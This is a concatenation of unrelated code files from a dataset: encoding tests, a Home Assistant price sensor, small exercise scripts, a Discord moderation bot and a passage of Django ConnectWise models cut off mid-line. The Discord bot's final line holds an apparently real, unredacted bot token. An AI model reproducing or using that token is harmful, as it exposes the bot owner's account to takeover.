content_file = open(path, 'r')\n content = content_file.read()\n return content\n\n# unicode ascii oracle (decoded utf-8)\noracle_ascii = u'c\\'est une plaisir d\\'écrire du python £ - ¢ - § - €'\n\n#unicode encoded oracle\nunicode_oracle = oracle_ascii.encode('utf-8')\nunicode_windows1252 = oracle_ascii.encode('cp1252')\nunicode_iso855915 = oracle_ascii.encode('ISO-8859-15')\n# ISO-8859-1 does not support the euro symbol, note the errors='ignore'\nunicode_iso85591 = oracle_ascii.encode('ISO-8859-1', 'ignore')\n\nclass TransformEncoding:\n def __init__(self):\n self.content = None\n\n def set_content(self, content):\n self.content = content\n\n def latin1_to_iso855915(self):\n windows1252_text = self.content.decode('latin1') # decode windows 1252 to ascii\n iso885915_text = windows1252_text.encode('ISO-8859-15') # encode to ISO-8859-1\n return iso885915_text\n\n def windows1252_to_iso855915(self):\n windows1252_text = self.content.decode('cp1252') # decode windows 1252 to ascii\n iso885915_text = windows1252_text.encode('ISO-8859-15') # encode to ISO-8859-1\n return iso885915_text\n\n def windows1252_to_iso85591(self):\n windows1252_text = self.content.decode('cp1252') # decode windows 1252 to ascii\n iso88591_text = windows1252_text.encode('ISO-8859-1') # encode to ISO-8859-1\n return iso88591_text\n\n def utf8_to_iso85591(self):\n utf8_text = self.content.decode('utf8') # decode windows 1252 to ascii\n iso88591_text = utf8_text.encode('ISO-8859-1') # encode to ISO-8859-1\n return iso88591_text\n\n def utf8_to_iso855915(self):\n utf8_text = self.content.decode('utf8') # decode windows 1252 to ascii\n iso885915_text = utf8_text.encode('ISO-8859-15') # encode to ISO-8859-1\n return iso885915_text\n\n\nclass PythonEncodingTest(unittest.TestCase):\n def setUp(self):\n self.transformEncoding = TransformEncoding()\n\n # reading iso-855915\n def test_iso855915(self):\n content = readFile('../text-ISO885915.txt')\n\n self.assertEqual(unicode_iso855915, content)\n\n iso885915_text_ascii = content.decode('ISO-8859-15') # decode ISO-8859-1 to ascii\n\n # the ascii representation of both should be surprisingly equal\n self.assertEqual(oracle_ascii, iso885915_text_ascii)\n\n utf8_text = iso885915_text_ascii.encode('utf-8')\n\n self.assertEqual(unicode_oracle, utf8_text)\n\n # reading iso-8559-1\n # no euro symbol in iso-8559-1\n # http://en.wikipedia.org/wiki/ISO_8859-1\n def test_iso85591(self):\n content = readFile('../text-ISO88591.txt')\n\n self.assertEqual(unicode_iso85591, content)\n\n iso88591_text_ascii = content.decode('ISO-8859-1') # decode ISO-8859-1 to ascii\n\n # the ascii representation of ISO-8859-1 should not be equal to the ascii representation of utf-8\n self.assertNotEqual(oracle_ascii[0:55], iso88591_text_ascii[0:55])\n\n utf8_text = iso88591_text_ascii.encode('utf-8') # encode ascii to utf-8\n\n # these should not be equal because ISO-8859-1 does not support the euro symbol\n self.assertNotEqual(unicode_oracle, utf8_text)\n\n # both utf-8 strings should be equals if we remove the euro symbol\n self.assertEqual(unicode_oracle[0:55], utf8_text[0:55])\n\n # reading windows-1252 -- otherwise known as ANSI\n def test_windows1252(self):\n content = readFile('../text-windows1252.txt')\n\n self.assertEqual(unicode_windows1252, content)\n\n windows1252_text_ascii = content.decode('cp1252') # decode windows 1252 to ascii\n\n # the ascii representation of both should not be equal\n self.assertNotEqual(oracle_ascii, windows1252_text_ascii)\n\n utf8_text = windows1252_text_ascii.encode('utf-8')\n\n self.assertEqual(unicode_oracle, utf8_text)\n\n\n # Reading utf-8\n def test_utf8(self):\n content = readFile('../text-utf8.txt')\n\n # utf-8 content of both strings should be equal\n self.assertEqual(unicode_oracle, content)\n\n utf8_text_ascii = content.decode('utf-8') # decode unicode to ascii\n # ascii content of both strings should be equal\n self.assertEqual(oracle_ascii, utf8_text_ascii)\n\n # read windows-1252 as latin1 and then transform to iso-8859-15\n def test_windows1252_as_latin1_to_iso855915(self):\n content = readFile('../text-windows1252.txt')\n\n self.transformEncoding.set_content(content)\n\n iso885915 = self.transformEncoding.latin1_to_iso855915()\n\n iso885915_oracle = oracle_ascii.encode('ISO-8859-15')\n\n # utf-8 ascii encoded to iso-8559-15 should be equals to iso-8859-15\n self.assertEqual(iso885915_oracle, iso885915)\n\n # read windows-1252 and then transform to iso-8859-15\n def test_windows1252_to_iso855915(self):\n content = readFile('../text-windows1252.txt')\n\n self.transformEncoding.set_content(content)\n\n iso885915 = self.transformEncoding.windows1252_to_iso855915()\n\n iso885915_oracle = oracle_ascii.encode('ISO-8859-15')\n\n # utf-8 ascii encoded to iso-8559-15 should be equals to iso-8859-15\n self.assertEqual(iso885915_oracle, iso885915)\n\n # read windows-1252 and then transform to iso-8859-1\n def test_windows1252_to_iso85591(self):\n content = readFile('../text-windows1252.txt')\n\n self.transformEncoding.set_content(content)\n\n # should raise an encode error exception to encode due 'latin-1' codec can't encode character u'\\u20ac'\n self.assertRaises(UnicodeEncodeError, self.transformEncoding.windows1252_to_iso85591)\n\n # read utf-8 as latin1 and then transform to iso-8859-15\n def test_utf8_to_iso855915(self):\n content = readFile('../text-utf8.txt')\n\n self.transformEncoding.set_content(content)\n\n iso885915_text = self.transformEncoding.utf8_to_iso855915()\n\n iso885915_oracle = oracle_ascii.encode('ISO-8859-15')\n\n # utf-8 ascii encoded to iso-8559-15 should be equals to iso-8859-15\n self.assertEqual(iso885915_oracle, iso885915_text)\n\n\n def test_utf8_to_iso85591(self):\n content = readFile('../text-utf8.txt')\n\n self.transformEncoding.set_content(content)\n\n # should raise an encode error exception to encode due 'latin-1' codec can't encode character u'\\u20ac'\n self.assertRaises(UnicodeEncodeError, self.transformEncoding.utf8_to_iso85591)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/PythonEncodingTest.py","file_name":"PythonEncodingTest.py","file_ext":"py","file_size_in_byte":6560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"228963946","text":"\"\"\"\nParse prices of a item from gearbest.\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/sensor.gearbest/\n\"\"\"\nimport logging\nimport asyncio\nfrom datetime import timedelta\n\nimport voluptuous as vol\n\nfrom homeassistant.components.sensor import PLATFORM_SCHEMA\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.util import Throttle\nfrom homeassistant.helpers.entity import Entity\n\nREQUIREMENTS = ['gearbest_parser==1.0.4']\n_LOGGER = logging.getLogger(__name__)\n\nCONF_ITEMS = 'items'\nCONF_CURRENCY = 'currency'\n\nICON = 'mdi:coin'\nMIN_TIME_BETWEEN_UPDATES = timedelta(seconds=2*60*60) #2h * 60min * 60sec\n\n_ITEM_SCHEMA = vol.Schema({\n vol.Optional(\"url\"): cv.string,\n vol.Optional(\"id\"): cv.string,\n vol.Optional(\"name\"): cv.string,\n vol.Optional(\"currency\"): cv.string\n})\n\n_ITEMS_SCHEMA = vol.Schema([_ITEM_SCHEMA])\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_ITEMS): _ITEMS_SCHEMA,\n vol.Required(CONF_CURRENCY): cv.string,\n})\n\n\n@asyncio.coroutine\ndef async_setup_platform(hass, config, async_add_devices, discovery_info=None):\n \"\"\"Set up the Gearbest sensor.\"\"\"\n\n del discovery_info #unused\n\n hass.loop.run_in_executor(None, _add_items, hass, config, async_add_devices)\n\ndef _add_items(hass, config, async_add_devices):\n currency = config.get(CONF_CURRENCY)\n\n sensors = []\n items = config.get(CONF_ITEMS)\n for item in items:\n try:\n sensor = GearbestSensor(hass, item, currency)\n if sensor is not None:\n sensors.append(sensor)\n except AttributeError as exc:\n _LOGGER.error(exc)\n\n async_add_devices(sensors)\n\n\nclass GearbestSensor(Entity):\n \"\"\"Implementation of the sensor.\"\"\"\n\n def __init__(self, hass, item, currency):\n \"\"\"Initialize the sensor.\"\"\"\n\n from gearbest_parser import GearbestParser\n\n self._hass = hass\n self._name = item.get(\"name\", None)\n self._parser = GearbestParser()\n self._parser.update_conversion_list()\n self._item = self._parser.load(item.get(\"id\", None),\n item.get(\"url\", None),\n item.get(\"currency\", currency))\n if self._item is None:\n raise AttributeError(\"id and url could not be resolved\")\n self._item.update()\n\n @property\n def name(self):\n \"\"\"Return the name of the item.\"\"\"\n return self._name if self._name is not None else self._item.name\n\n @property\n def icon(self):\n \"\"\"Return the icon for the frontend.\"\"\"\n return ICON\n\n @property\n def state(self):\n \"\"\"Return the price of the selected product.\"\"\"\n return self._item.price\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return the currency \"\"\"\n return self._item.currency\n\n @property\n def device_state_attributes(self):\n \"\"\"Return the state attributes.\"\"\"\n attrs = {'name': self._item.name,\n 'description': self._item.description,\n 'image': self._item.image,\n 'price': self._item.price,\n 'currency': self._item.currency,\n 'url': self._item.url}\n return attrs\n\n @Throttle(MIN_TIME_BETWEEN_UPDATES)\n def update(self):\n \"\"\"Get the latest price from gearbest and updates the state.\"\"\"\n self._hass.loop.run_in_executor(None, self._parser.update_conversion_list)\n self._hass.loop.run_in_executor(None, self._item.update)\n","sub_path":"gearbest.py","file_name":"gearbest.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"71974773","text":"x = int(input())\nans = x\n\nwhile True:\n d = True\n for i in range(2,int(ans**0.5)+1):\n if ans%i == 0:\n d = False\n if d:\n print(ans)\n exit()\n else:\n ans += 1","sub_path":"ABC/ABC149/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"152002467","text":"import discord\r\nfrom random import choice\r\nimport random\r\nfrom discord.ext import commands\r\n\r\nintents = discord.Intents(messages = True, guilds = True, reactions = True, members = True, presences = True)\r\n\r\nclient = commands.Bot(command_prefix = '.', intents = intents)\r\n\r\n\r\n\r\n\r\n@client.event\r\nasync def on_ready():\r\n print('Bot is ready. ')\r\n\r\ndef restart_program():\r\n python = sys.executable\r\n os.execl(python, python, * sys.argv)\r\n\r\n@client.command()\r\nasync def ping(ctx):\r\n await ctx.send(f'Latency: {round(client.latency * 1000)}ms')\r\n\r\n# Moderation Commands\r\n\r\n@client.command()\r\nasync def clear(ctx, amount=5):\r\n if (ctx.message.author.permissions_in(ctx.message.channel).manage_messages):\r\n await ctx.channel.purge(limit=amount)\r\n embed=discord.Embed(title=\"Messages Have Been Cleared!\", color=0xf90101)\r\n embed.set_footer(text=\"Solar Moderation\")\r\n await ctx.send(embed=embed)\r\n@clear.error\r\nasync def clear_error(ctx, error):\r\n if isinstance(error, commands.MissingPermissions):\r\n await ctx.send('Sorry you are not allowed to use this command.')\r\n\r\n@client.command()\r\nasync def kick(ctx, member : discord.Member, *, reason=None):\r\n if (ctx.message.author.permissions_in(ctx.message.channel).kick_members):\r\n await member.kick(reason=reason)\r\n embed=discord.Embed(title=f\"{member} Has been kicked successfully\", color=0xf90101)\r\n embed.set_footer(text=\"Solar Moderation \")\r\n await ctx.send(embed=embed)\r\n\r\n@client.command()\r\nasync def ban(ctx, member : discord.Member, *, reason=None):\r\n if (ctx.message.author.permissions_in(ctx.message.channel).ban_members):\r\n await member.ban(reason=reason)\r\n embed=discord.Embed(title=f\"{member} Has been banned successfully\", color=0xf90101)\r\n embed.set_footer(text=\"Solar Moderation \")\r\n await ctx.send(embed=embed)\r\n\r\n@client.command()\r\nasync def unban(ctx, *, member):\r\n if (ctx.message.author.permissions_in(ctx.message.channel).ban_members):\r\n banned_users = await ctx.guild.bans()\r\n member_name, member_discriminator = member.split('#')\r\n\r\n for ban_entry in banned_users:\r\n user = ban_entry.user\r\n\r\n if(user.name, user.discriminator) == (member_name, member_discriminator):\r\n await ctx.guild.unban(user)\r\n embed=discord.Embed(title=f\"{user.mention} Has been unbanned successfully!\", color=0xf90101)\r\n embed.set_footer(text=\"Solar Moderation \")\r\n await ctx.send(embed=embed)\r\n return\r\n\r\n\r\n# Moderation Commands\r\n\r\n@client.command()\r\nasync def apply(ctx):\r\n embed=discord.Embed(title=\"How to apply for staff\", description=\"If you are interested in joining our staff team make sure to read this!\", color=0x05ff44)\r\n embed.add_field(name=\"Discord Moderation Team\", value=\"We are sorry to inform you the Moderation applications are closed for the Discord Team. We will announce once they open again.\", inline=False)\r\n embed.add_field(name=\"Minecraft Moderation Team\", value=\"If you are interested in joining the Minecraft Moderation team please navigate yourself to this page https://netsolar.cf/apply/\", inline=True)\r\n embed.set_footer(text=\"Solar Information \")\r\n await ctx.send(embed=embed)\r\n\r\n@client.command()\r\nasync def staff(ctx):\r\n embed=discord.Embed(title=\"Our Management and Staff Team\", description=\"This is a list of our hard working staff and management members!\", color=0x05ff44)\r\n embed.add_field(name=\"Allekup\", value=\"The Current Network Owner and Founder of Solar Networks.\", inline=False)\r\n embed.add_field(name=\"WarStylez\", value=\"The Current Network Manager of Solar Networks.\", inline=True)\r\n embed.add_field(name=\"Scout\", value=\"The Current Discord Manager for Solar Networks.\", inline=True)\r\n embed.add_field(name=\"Creeperchu\", value=\"The Current Server Owner of one of our Minecraft Servers.\", inline=True)\r\n embed.add_field(name=\"z_8\", value=\"The Current Head-Builder of the Netsolar Minecraft Server.\", inline=True)\r\n embed.add_field(name=\"Hamish\", value=\"A Discord Moderator for the Solar Network Discords.\", inline=True)\r\n embed.add_field(name=\"Pure Salt HLM\", value=\"A Discord Moderator for the Solar Network Discords.\", inline=True)\r\n embed.add_field(name=\"qlukaas\", value=\"A Discord Moderator for the Solar Network Discords.\", inline=True)\r\n embed.add_field(name=\"brêg\", value=\"A Senior Builder for the Netsolar Minecraft server.\", inline=True)\r\n embed.add_field(name=\"ColorClicker\", value=\"A Builder for the Netsolar Minecraft server.\", inline=True)\r\n embed.set_footer(text=\"Solar Information \")\r\n await ctx.send(embed=embed)\r\n\r\n@client.command(aliases=['8ball'])\r\nasync def _8ball(ctx, *, question):\r\n responses = [\"It is certain.\",\r\n \"It is decidedly so.\",\r\n \"Without a doubt.\",\r\n \"Yes - definitely.\",\r\n \"You may rely on it.\",\r\n \"As I see it, yes.\",\r\n \"Most likely.\",\r\n \"Outlook good.\",\r\n \"Yes.\",\r\n \"Signs point to yes.\",\r\n \"Reply hazy, try again.\",\r\n \"Ask again later.\",\r\n \"Better not tell you now.\",\r\n \"Cannot predict now.\",\r\n \"Concentrate and ask again.\",\r\n \"Don't count on it.\",\r\n \"My reply is no.\",\r\n \"My sources say no.\",\r\n \"Outlook not so good.\",\r\n \"Very doubtful.\"]\r\n\r\n embed=discord.Embed(title=f'**Question:** *{question}*\\n\\n**Answer:** *{random.choice(responses)}*', color=0xf90101)\r\n embed.set_footer(text=\"Solar Fun \")\r\n await ctx.send(embed=embed)\r\n\r\nclient.run('Nzg3MjU2NDkyMDI4OTg1Mzc1.X9STvg.2l1LfMjt2yzQn_h_cNLHnU36f8I')\r\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"359057164","text":"cores = {\n 'limpa': '\\033[m',\n 'vermelho': '\\033[1;31m',\n 'verde': '\\033[32m',\n 'branco': '\\033[1;30m',\n 'azul': '\\033[36m'\n}\ncasaValor = float(input('{}Digite o valor da casa: {}'.format(cores['azul'], cores['limpa'])))\nsalario = int(input('{}Informe o seu salário: {}'.format(cores['azul'], cores['limpa'])))\nanos = int(input('{}Pretende pagar em quantos anos?: {}'.format(cores['azul'], cores['limpa']))) * 12\ntrintaPorcento = (salario * 30 / 100)\nif casaValor / anos > trintaPorcento:\n print('{}Seu empréstimo foi negado!{}'.format(cores['vermelho'], cores['limpa']))\nelse:\n print('{}A mensalidade da casa será de R${:.2f}.'.format(cores['branco'], casaValor / anos, cores['limpa']))\n","sub_path":"Exercícios_1-106/Exercício_036.py","file_name":"Exercício_036.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"635529599","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom preprocesamiento.funciones import buscar_csv\n\n''' Calcula la distribución del tiempo transcurrido entre mediciones baseline (> 1) de distintos archivos '''\n\n# PARÁMETROS\nruta_carpeta = 'D:/Dropbox/UNI/TFM/datos/5 - Elegir BL entre BL y SC'\nclave_principal = 'PATNO'\nclave_fecha = 'INFODT'\nnombre_grafico = 'Histograma tiempo entre baseline'\n\n# coger las tablas que tiene fecha\ntablas_con_fecha = []\nfor ruta_arch in buscar_csv(ruta_carpeta):\n tabla = pd.read_csv(ruta_arch, sep=',', float_precision='round_trip')\n if clave_fecha in tabla.columns:\n tablas_con_fecha.append(tabla[[clave_principal, clave_fecha]])\n\n# pacientes sin duplicados\npacientes = list(set([paciente for tabla in tablas_con_fecha for paciente in tabla[clave_principal].to_list()]))\n\n# crear un diccionario con estos pacientes y fechas como listas vacías\ndistribuciones = {p: [] for p in pacientes}\n\n# rellenar las listas\nfor tabla in tablas_con_fecha: # por cada archivo\n for i in range(len(tabla)): # por cada registro\n distribuciones[tabla.loc[i][clave_principal]].append(tabla.loc[i][clave_fecha])\n\n# calcular la media de las diferencias entre elementos de las listas, en meses\ndistribuciones = {c: np.mean(np.diff(np.sort(v))) / (3600 * 24 * 30) for c, v in distribuciones.items() if len(v) > 1}\nvalores = list(distribuciones.values())\n\n# generar diagrama de barras\nplt.figure(figsize=(8, 5))\nplt.hist(valores, color='royalblue', range=(0, 24), bins=11)\nplt.xlabel('Meses')\nplt.ylabel('Pacientes')\nplt.axvline(np.median(valores), color='k', linestyle='dashed', linewidth=2)\nplt.text(np.median(valores) * 1.1, 520, 'Mediana: {:.2f}'.format(np.median(valores)))\n\n# guardar\nplt.savefig(os.path.join(ruta_carpeta, nombre_grafico + '.pdf'))\nplt.show()\nplt.clf()\n","sub_path":"estadísticas/distribucion_diferencia_tiempos_baselines.py","file_name":"distribucion_diferencia_tiempos_baselines.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"541874816","text":"import re\nimport logging\nimport urllib\nimport datetime\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django_extensions.db.models import TimeStampedModel\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom . import api\n\nlogger = logging.getLogger(__name__)\n\n\nPRIORITY_RE = re.compile(r'^Priority ([\\d]+)')\n\n\nclass InvalidStatusError(Exception):\n pass\n\n\nclass SlaGoalsMixin(object):\n \"\"\"\n Returns the fields relevant to SLA goals for models with SLA information\n \"\"\"\n\n def get_stage_hours(self, stage):\n if stage == 'respond':\n return self.respond_hours\n elif stage == 'plan':\n return self.plan_within\n elif stage == 'resolve':\n return self.resolution_hours\n elif stage == 'waiting':\n return 0\n else:\n return None\n\n\nclass SyncJob(models.Model):\n start_time = models.DateTimeField(null=False)\n end_time = models.DateTimeField(blank=True, null=True)\n entity_name = models.CharField(max_length=100)\n added = models.PositiveIntegerField(null=True)\n updated = models.PositiveIntegerField(null=True)\n deleted = models.PositiveIntegerField(null=True)\n success = models.NullBooleanField()\n message = models.TextField(blank=True, null=True)\n sync_type = models.CharField(max_length=32, default='full')\n\n def duration(self):\n if self.start_time and self.end_time:\n return self.end_time - self.start_time\n\n\nclass AvailableConnectWiseBoardManager(models.Manager):\n \"\"\"Return only active ConnectWise boards.\"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(inactive=False)\n\n\nclass ConnectWiseBoard(TimeStampedModel):\n name = models.CharField(max_length=255)\n inactive = models.BooleanField(default=False)\n\n objects = models.Manager()\n available_objects = AvailableConnectWiseBoardManager()\n\n class Meta:\n ordering = ('name',)\n verbose_name = 'ConnectWise board'\n\n def __str__(self):\n return self.name\n\n @property\n def board_statuses(self):\n return BoardStatus.available_objects.filter(board=self)\n\n def get_closed_status(self):\n \"\"\"\n Find a closed status on the board. Prefer the status\n called \"Closed\", if such a one exists.\n \"\"\"\n try:\n closed_status = self.board_statuses.get(\n name='Closed',\n closed_status=True,\n )\n except BoardStatus.DoesNotExist:\n # There's nothing called \"Closed\".\n # filter...first returns None if nothing is found.\n closed_status = self.board_statuses.filter(\n closed_status=True,\n ).first()\n return closed_status\n\n\nclass AvailableBoardStatusManager(models.Manager):\n \"\"\"\n Return only statuses whose ConnectWise board is active, and whose\n inactive field is False.\n \"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(\n board__inactive=False, inactive=False\n )\n\n\nclass BoardStatus(TimeStampedModel):\n \"\"\"\n Used for looking up the status/board id combination\n \"\"\"\n CLOSED = 'Closed'\n\n ESCALATION_STATUSES = (\n ('NotResponded', 'Not Responded'),\n ('Responded', 'Responded'),\n ('ResolutionPlan', 'Resolution Plan'),\n ('Resolved', 'Resolved'),\n ('NoEscalation', 'No Escalation')\n )\n\n # For comparing Escalation Statuses\n ESCALATION_RANK = dict(\n zip(\n [type[0] for type in ESCALATION_STATUSES],\n [i for i in range(5)]\n )\n )\n\n name = models.CharField(blank=True, null=True, max_length=250)\n sort_order = models.PositiveSmallIntegerField()\n display_on_board = models.BooleanField()\n inactive = models.BooleanField()\n closed_status = models.BooleanField()\n board = models.ForeignKey('ConnectWiseBoard', on_delete=models.CASCADE)\n # Letting escalation_status allow blank/null rather than possibly having\n # and incorrect default value in some edge case\n escalation_status = models.CharField(\n max_length=20, choices=ESCALATION_STATUSES, db_index=True,\n blank=True, null=True\n )\n\n objects = models.Manager()\n available_objects = AvailableBoardStatusManager()\n\n class Meta:\n ordering = ('board__name', 'sort_order', 'name')\n verbose_name_plural = 'Board statuses'\n\n def is_non_escalation_status(self):\n return self.escalation_status == 'NoEscalation'\n\n def __str__(self):\n return '{}/{}'.format(self.board, self.name)\n\n def __lt__(self, other):\n if other is None:\n return False\n return self.ESCALATION_RANK.get(self.escalation_status) < \\\n self.ESCALATION_RANK.get(other.escalation_status)\n\n def __gt__(self, other):\n if other is None:\n return False\n return self.ESCALATION_RANK.get(self.escalation_status) > \\\n self.ESCALATION_RANK.get(other.escalation_status)\n\n def get_status_rank(self):\n return self.ESCALATION_RANK.get(self.escalation_status)\n\n\nclass Location(TimeStampedModel):\n name = models.CharField(max_length=30)\n where = models.CharField(max_length=100, blank=True, null=True)\n\n class Meta:\n ordering = ('name',)\n\n def __str__(self):\n return self.name\n\n\nclass RegularMemberManager(models.Manager):\n \"\"\"Return members that aren't API members.\"\"\"\n def get_queryset(self):\n return super().get_queryset().exclude(license_class='A')\n\n\nclass Member(TimeStampedModel):\n LICENSE_CLASSES = (\n ('F', 'Full license'),\n ('A', 'API license'),\n )\n identifier = models.CharField( # This is the CW username\n max_length=15, blank=False, unique=True\n )\n first_name = models.CharField(max_length=30, blank=False)\n last_name = models.CharField(max_length=30, blank=False, null=True)\n office_email = models.EmailField(max_length=250)\n inactive = models.BooleanField(default=False)\n avatar = models.CharField(\n null=True, blank=True, max_length=250,\n verbose_name=_('Member Avatar'), help_text=_('Member Avatar')\n )\n license_class = models.CharField(\n blank=True, null=True, max_length=20,\n choices=LICENSE_CLASSES, db_index=True\n )\n\n objects = models.Manager()\n regular_objects = RegularMemberManager()\n\n class Meta:\n ordering = ('first_name', 'last_name')\n\n def __str__(self):\n return '{} {}'.format(self.first_name,\n self.last_name if self.last_name else '')\n\n def get_initials(self):\n name_segs = str(self).split(' ')\n initial = ''\n for seg in name_segs:\n seg = seg.strip()\n initial += seg[:1]\n\n return initial\n\n\nclass AvailableCompanyManager(models.Manager):\n \"\"\"Return only companies whose deleted_flag isn't true.\"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(deleted_flag=False)\n\n\nclass Company(TimeStampedModel):\n name = models.CharField(blank=True, null=True, max_length=250)\n identifier = models.CharField(\n blank=True, null=True, max_length=250)\n phone_number = models.CharField(blank=True, null=True, max_length=250)\n fax_number = models.CharField(blank=True, null=True, max_length=250)\n address_line1 = models.CharField(blank=True, null=True, max_length=250)\n address_line2 = models.CharField(blank=True, null=True, max_length=250)\n city = models.CharField(blank=True, null=True, max_length=250)\n state_identifier = models.CharField(blank=True, null=True, max_length=250)\n zip = models.CharField(blank=True, null=True, max_length=250)\n country = models.CharField(blank=True, null=True, max_length=250)\n website = models.CharField(blank=True, null=True, max_length=250)\n market = models.CharField(blank=True, null=True, max_length=250)\n defaultcontactid = models.IntegerField(blank=True, null=True)\n defaultbillingcontactid = models.IntegerField(blank=True, null=True)\n updatedby = models.CharField(blank=True, null=True, max_length=250)\n lastupdated = models.CharField(blank=True, null=True, max_length=250)\n deleted_flag = models.BooleanField(default=False)\n calendar = models.ForeignKey(\n 'Calendar',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n status = models.ForeignKey(\n 'CompanyStatus',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n company_type = models.ForeignKey(\n 'CompanyType',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n territory = models.ForeignKey(\n 'Territory',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n\n objects = models.Manager()\n available_objects = AvailableCompanyManager()\n\n class Meta:\n verbose_name_plural = 'companies'\n ordering = ('identifier', )\n\n def __str__(self):\n return self.get_identifier() or ''\n\n def get_identifier(self):\n return self.identifier\n\n\nclass CompanyStatus(models.Model):\n name = models.CharField(max_length=50)\n default_flag = models.BooleanField()\n inactive_flag = models.BooleanField()\n notify_flag = models.BooleanField()\n dissalow_saving_flag = models.BooleanField()\n notification_message = models.CharField(\n max_length=500,\n blank=True,\n null=True\n )\n custom_note_flag = models.BooleanField()\n cancel_open_tracks_flag = models.BooleanField()\n track_id = models.PositiveSmallIntegerField(blank=True, null=True)\n\n class Meta:\n verbose_name_plural = 'Company statuses'\n\n def __str__(self):\n return self.name\n\n\nclass CompanyType(models.Model):\n name = models.CharField(max_length=50)\n vendor_flag = models.BooleanField()\n\n class Meta:\n ordering = ('name', )\n\n def __str__(self):\n return self.name\n\n\nclass MyCompanyOther(models.Model):\n default_calendar = models.ForeignKey(\n 'Calendar',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n\n\nclass Calendar(models.Model):\n\n START_TIME = '_start_time'\n END_TIME = '_end_time'\n\n name = models.CharField(max_length=250)\n holiday_list = models.ForeignKey(\n 'HolidayList', on_delete=models.SET_NULL, blank=True, null=True)\n monday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n monday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n tuesday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n tuesday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n wednesday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n wednesday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n thursday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n thursday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n friday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n friday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n saturday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n saturday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n sunday_start_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n sunday_end_time = models.TimeField(auto_now=False, auto_now_add=False,\n blank=True, null=True)\n\n def __str__(self):\n return self.name\n\n def get_day_hours(self, is_start, day):\n if is_start:\n time = self.START_TIME\n else:\n time = self.END_TIME\n\n days = [\n 'monday',\n 'tuesday',\n 'wednesday',\n 'thursday',\n 'friday',\n 'saturday',\n 'sunday'\n ]\n return getattr(self, \"{}{}\".format(days[day], time), None)\n\n def get_first_day(self, start):\n \"\"\"\n For getting the first weekday, and the days until that day, from the\n given start day that has a start and end time.\n \"\"\"\n start_day = start.weekday()\n days = 0\n while True:\n day = self.get_day_hours(True, start_day)\n if day and \\\n not self.is_holiday(datetime.timedelta(days=days) + start):\n return start_day, days\n start_day = (start_day + 1) % 7\n days += 1\n if days >= 7:\n # Calendar has no hours on any day. This case can also occur\n # if a calendar has seven consecutive holidays.\n return None, None\n\n def is_holiday(self, date):\n current_day = date.date()\n try:\n holiday = self.holiday_list.holiday_set.filter(date=current_day)\n # Decided to go with filter, and test whether the list is empty or\n # not. Rather than get, and deal with the possibility of\n # DoesNotExist and MultipleObjectsReturned.\n except AttributeError:\n # No holiday list on this calendar\n return False\n if holiday:\n return True\n # Returning False instead of None\n return False\n\n def get_sla_time(self, start, end):\n # Get the sla-minutes between two dates using the given calendar\n minutes = 0\n day_of_week = start.weekday()\n start_time = datetime.timedelta(hours=start.hour,\n minutes=start.minute)\n\n # Get sla minutes for first day\n start_day_end_time = self.get_day_hours(False, start.weekday())\n\n if start_day_end_time and \\\n not self.is_holiday(timezone.now().astimezone(tz=None)):\n end_of_day = datetime.timedelta(hours=start_day_end_time.hour,\n minutes=start_day_end_time.minute)\n else:\n end_of_day = None\n\n if start.date() == end.date():\n\n if end_of_day:\n\n end_time = min(start_day_end_time, end.time())\n end_time_delta = datetime.timedelta(\n hours=end_time.hour,\n minutes=end_time.minute\n )\n\n minutes = (end_time_delta - start_time).total_seconds() / 60\n # return sla time between start and end of day/end time, or zero\n # if start and end was outside of work hours\n return max(minutes, 0)\n else:\n if end_of_day and \\\n not self.is_holiday(timezone.now().astimezone(tz=None)):\n first_day_minutes = (end_of_day - start_time).total_seconds() \\\n / 60\n else:\n first_day_minutes = 0\n\n sla_minutes = 